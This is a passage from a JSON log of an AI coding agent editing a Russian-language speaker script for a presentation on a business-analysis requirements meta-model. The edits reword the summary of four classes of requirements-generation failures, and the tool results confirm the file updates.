\u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:47.675Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:47.675Z] [INFO]       {\n[2026-09-29T07:55:47.675Z] [INFO]         \"oldStart\": 153,\n[2026-09-29T07:55:47.675Z] [INFO]         \"oldLines\": 9,\n[2026-09-29T07:55:47.675Z] [INFO]         \"newStart\": 153,\n[2026-09-29T07:55:47.675Z] [INFO]         \"newLines\": 13,\n[2026-09-29T07:55:47.675Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:47.675Z] [INFO]           \"   \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"   [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"   \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"-- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"-  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"-  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+- \u0412\u044b\u0432\u043e\u0434\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \" \",\n[2026-09-29T07:55:47.675Z] [INFO]           \" **\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\",\n[2026-09-29T07:55:47.675Z] [INFO]           \" \u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\"\n[2026-09-29T07:55:47.675Z] [INFO]         ]\n[2026-09-29T07:55:47.675Z] [INFO]       }\n[2026-09-29T07:55:47.675Z] [INFO]     ],\n[2026-09-29T07:55:47.675Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:47.675Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:47.675Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:47.675Z] [INFO]   }\n[2026-09-29T07:55:47.675Z] [INFO] }\n[2026-09-29T07:55:49.967Z] [INFO] {\n[2026-09-29T07:55:49.967Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:49.967Z] [INFO]   \"message\": {\n[2026-09-29T07:55:49.967Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"content\": [\n[2026-09-29T07:55:49.967Z] [INFO]       {\n[2026-09-29T07:55:49.967Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:49.967Z] [INFO]         \"id\": \"toolu_01MaaQ6sXyfQ36dndQc5iEJE\",\n[2026-09-29T07:55:49.967Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:49.967Z] [INFO]         \"input\": {\n[2026-09-29T07:55:49.967Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:49.967Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:49.967Z] [INFO]           \"old_string\": \"RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a.\",\n[2026-09-29T07:55:49.967Z] [INFO]           \"new_string\": \"RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a.\"\n[2026-09-29T07:55:49.967Z] [INFO]         },\n[2026-09-29T07:55:49.967Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:49.967Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:49.967Z] [INFO]         }\n[2026-09-29T07:55:49.967Z] [INFO]       }\n[2026-09-29T07:55:49.967Z] [INFO]     ],\n[2026-09-29T07:55:49.967Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:49.967Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:49.967Z] [INFO]       \"cache_creation_input_tokens\": 1683,\n[2026-09-29T07:55:49.967Z] [INFO]       \"cache_read_input_tokens\": 53177,\n[2026-09-29T07:55:49.967Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:49.967Z] [INFO]         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\u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a.\",\n[2026-09-29T07:55:49.967Z] [INFO]       \"new_string\": \"RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 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\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a.\"\n[2026-09-29T07:55:49.967Z] [INFO]     }\n[2026-09-29T07:55:49.967Z] [INFO]   }\n[2026-09-29T07:55:49.967Z] [INFO] }\n[2026-09-29T07:55:50.014Z] [INFO] {\n[2026-09-29T07:55:50.014Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:50.014Z] [INFO]   \"message\": {\n[2026-09-29T07:55:50.014Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:50.014Z] [INFO]     \"content\": [\n[2026-09-29T07:55:50.014Z] [INFO]       {\n[2026-09-29T07:55:50.014Z] [INFO]         \"tool_use_id\": \"toolu_01MaaQ6sXyfQ36dndQc5iEJE\",\n[2026-09-29T07:55:50.014Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:50.014Z] [INFO]         \"content\": \"The file /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md has been updated successfully.\"\n[2026-09-29T07:55:50.014Z] [INFO]       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\u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a.\",\n[2026-09-29T07:55:50.014Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 